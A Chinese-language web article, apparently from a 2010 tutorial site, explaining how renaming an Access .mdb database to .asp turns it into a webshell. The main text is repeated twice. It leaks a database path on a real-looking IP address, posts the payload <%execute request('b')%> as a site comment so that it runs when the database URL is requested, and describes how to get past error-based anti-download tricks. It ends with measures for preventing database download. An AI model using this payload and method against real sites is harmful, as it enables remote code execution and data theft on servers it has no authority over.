access改mdb為asp所帶來的災(zāi)難 附mdb防下載方法
更新時間:2010年05月30日 00:29:29 作者:
可能是隨著網(wǎng)絡(luò)安全技術(shù)的發(fā)展吧,管理員的素質(zhì)都在提高,在使用access+asp系統(tǒng)時,為不數(shù)據(jù)庫被人下載,到把mdb改為asp或asa。
先不說直接改后綴,直接可以用網(wǎng)快等工具直接下載,其實這樣你已經(jīng)是為入侵者打開了大門。入侵者可以利用asp/asa為后綴的數(shù)據(jù)庫直接得到webshell。
一.思路
大家都知道<%%>為asp文件的標(biāo)志符,也就是說一個asp文件只會去執(zhí)行<%%>之間的代碼,access+asp的web系統(tǒng)的所有數(shù)據(jù)都是存放在數(shù)據(jù)庫文件里(mdb文件),由于管理者把mdb文件改為了asp文件,如果我們提交的數(shù)據(jù)里包含有<%%>,那當(dāng)我們訪問這個asp數(shù)據(jù)庫的時候就會去執(zhí)行<%%>之間的代碼。這樣導(dǎo)致我們只提交惡意代碼給數(shù)據(jù)庫,那么asp后綴的數(shù)據(jù)庫就是我們的webshell了。
二.示例
隨便找個目標(biāo),首先我們暴庫,看是不是asp后綴的數(shù)據(jù)庫:http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
返回:
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 錯誤 '80004005'
'D:\log_mdb\%29dlog_mdb%29.asp'不是一個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務(wù)器。
/test/conn.asp,行18
我們提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的亂碼,這樣我們可以直接用網(wǎng)際快車等工具直接下載數(shù)據(jù)庫(這里我們不討論)。我們回到主頁看到有提供“網(wǎng)友評論”功能。我們注冊個用戶,發(fā)一條評論:
<%execute request("b")%>
這樣我們就把asp代碼:<%execute request("b")%>寫入了數(shù)據(jù)庫,那么數(shù)據(jù)庫:就是我們的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在亂碼的最后我們看到:
/iisHelp/common/500-100.asp,行242
Microsoft VBScript 運行時錯誤 錯誤 '800a000d'
類型不匹配: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266
注意:我們在向數(shù)據(jù)庫提交代碼時,代碼內(nèi)容不可以太大。所以我們采用<%execute request("b")%>。
三.其他一些問題和思路
?。保畬τ诟牧撕缶Y為asp,還對數(shù)據(jù)庫里加入了<%='a'-1%>等非法的asp代碼來徹底防止下載的數(shù)據(jù)庫,由于里面存在了非法的asp代碼,插入我們的webshell代碼后運行,將只會顯示前面非法代碼的錯誤,而不去執(zhí)行我們shell的代碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯的代碼前加入兼容錯誤的代碼,就可以得到正確顯示執(zhí)行我們插入的webshell代碼了。
?。玻畬τ跊]有改后綴的,也就是mdb文件,這樣我們可以先直接下載下來得到后臺密碼,進了后臺,可以利用數(shù)據(jù)庫備用改后綴為asp。
mdb防下載方法小結(jié)
1:在iis6下面 如果一個擴展名沒有被定義則 訪問的時候會出現(xiàn)文件沒有找到的404錯誤。
因此你可以將數(shù)據(jù)庫任意命名成一個絕對不會出現(xiàn)的文件名就可以達到安全的效果比如:xxxxx.xxxxxxxxxxx
2 將數(shù)據(jù)庫放在網(wǎng)站的外部,那絕對就不能訪問得到了。例如: e:/web/是你的網(wǎng)站
則把數(shù)據(jù)庫放在e:/
3 正如樓上所說的 將.mdb 改成 .asp 同時倒入一個特殊的表 包含 <% 的二進制字符 這樣訪問文件出現(xiàn) 缺少腳本關(guān)閉符的提示。
4 或者將.mdb 改成.asp 同時用winhex打開 可以發(fā)現(xiàn)176以后有很長一部分 00 字符串 你隨便在處改成一段asp代碼 也可以實現(xiàn)防止下載,這樣也不影響數(shù)據(jù)庫功能。例如:
<%
response.write("非法訪問")
response.end()
%>
現(xiàn)在在數(shù)據(jù)庫的名稱里 加上 “#” 和空格 都被破解了 比如“#” = “<%35” 而空格 = “<%20”
所以說 現(xiàn)在用這些已經(jīng)不管用了。。
如果是自己的服務(wù)器的話就在IIS里設(shè)置一下:
新建一個空白的DLL文件,然后在IIS里添加映射,可執(zhí)行文件選剛才建的這個DLL,擴展名填.mdb,保存后重啟一下IIS服務(wù)即可。
一.思路
大家都知道<%%>為asp文件的標(biāo)志符,也就是說一個asp文件只會去執(zhí)行<%%>之間的代碼,access+asp的web系統(tǒng)的所有數(shù)據(jù)都是存放在數(shù)據(jù)庫文件里(mdb文件),由于管理者把mdb文件改為了asp文件,如果我們提交的數(shù)據(jù)里包含有<%%>,那當(dāng)我們訪問這個asp數(shù)據(jù)庫的時候就會去執(zhí)行<%%>之間的代碼。這樣導(dǎo)致我們只提交惡意代碼給數(shù)據(jù)庫,那么asp后綴的數(shù)據(jù)庫就是我們的webshell了。
二.示例
隨便找個目標(biāo),首先我們暴庫,看是不是asp后綴的數(shù)據(jù)庫:http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
返回:
復(fù)制代碼 代碼如下:
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft JET Database Engine 錯誤 '80004005'
'D:\log_mdb\%29dlog_mdb%29.asp'不是一個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連接到文件存放的服務(wù)器。
/test/conn.asp,行18
我們提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的亂碼,這樣我們可以直接用網(wǎng)際快車等工具直接下載數(shù)據(jù)庫(這里我們不討論)。我們回到主頁看到有提供“網(wǎng)友評論”功能。我們注冊個用戶,發(fā)一條評論:
<%execute request("b")%>
這樣我們就把asp代碼:<%execute request("b")%>寫入了數(shù)據(jù)庫,那么數(shù)據(jù)庫:就是我們的webshell咯。提交:http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在亂碼的最后我們看到:
復(fù)制代碼 代碼如下:
/iisHelp/common/500-100.asp,行242
Microsoft VBScript 運行時錯誤 錯誤 '800a000d'
類型不匹配: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266
注意:我們在向數(shù)據(jù)庫提交代碼時,代碼內(nèi)容不可以太大。所以我們采用<%execute request("b")%>。
三.其他一些問題和思路
?。保畬τ诟牧撕缶Y為asp,還對數(shù)據(jù)庫里加入了<%='a'-1%>等非法的asp代碼來徹底防止下載的數(shù)據(jù)庫,由于里面存在了非法的asp代碼,插入我們的webshell代碼后運行,將只會顯示前面非法代碼的錯誤,而不去執(zhí)行我們shell的代碼。雖然這樣可以防止一定的攻擊,但還是存在一定的隱患,我們只要在出錯的代碼前加入兼容錯誤的代碼,就可以得到正確顯示執(zhí)行我們插入的webshell代碼了。
?。玻畬τ跊]有改后綴的,也就是mdb文件,這樣我們可以先直接下載下來得到后臺密碼,進了后臺,可以利用數(shù)據(jù)庫備用改后綴為asp。
mdb防下載方法小結(jié)
1:在iis6下面 如果一個擴展名沒有被定義則 訪問的時候會出現(xiàn)文件沒有找到的404錯誤。
因此你可以將數(shù)據(jù)庫任意命名成一個絕對不會出現(xiàn)的文件名就可以達到安全的效果比如:xxxxx.xxxxxxxxxxx
2 將數(shù)據(jù)庫放在網(wǎng)站的外部,那絕對就不能訪問得到了。例如: e:/web/是你的網(wǎng)站
則把數(shù)據(jù)庫放在e:/
3 正如樓上所說的 將.mdb 改成 .asp 同時倒入一個特殊的表 包含 <% 的二進制字符 這樣訪問文件出現(xiàn) 缺少腳本關(guān)閉符的提示。
4 或者將.mdb 改成.asp 同時用winhex打開 可以發(fā)現(xiàn)176以后有很長一部分 00 字符串 你隨便在處改成一段asp代碼 也可以實現(xiàn)防止下載,這樣也不影響數(shù)據(jù)庫功能。例如:
<%
response.write("非法訪問")
response.end()
%>
現(xiàn)在在數(shù)據(jù)庫的名稱里 加上 “#” 和空格 都被破解了 比如“#” = “<%35” 而空格 = “<%20”
所以說 現(xiàn)在用這些已經(jīng)不管用了。。
如果是自己的服務(wù)器的話就在IIS里設(shè)置一下:
新建一個空白的DLL文件,然后在IIS里添加映射,可執(zhí)行文件選剛才建的這個DLL,擴展名填.mdb,保存后重啟一下IIS服務(wù)即可。
相關(guān)文章
非常不錯的ASP+Access數(shù)據(jù)庫的終極安全大法18則
非常不錯的ASP+Access數(shù)據(jù)庫的終極安全大法18則...2007-06-06asp連接SQL和Access數(shù)據(jù)代碼(asp里的隨機函數(shù))
asp連接SQL和Access數(shù)據(jù)代碼,asp里的隨機函數(shù),需要的朋友可以參考下2012-09-09asp內(nèi)置對象 ObjectContext 事務(wù)管理 詳解
asp內(nèi)置對象 ObjectContext 事務(wù)管理 詳解...2007-11-11再來個專門為google量身定做的sitemap生成代碼,(可是動態(tài)的哦)
再來個專門為google量身定做的sitemap生成代碼,(可是動態(tài)的哦)...2006-12-12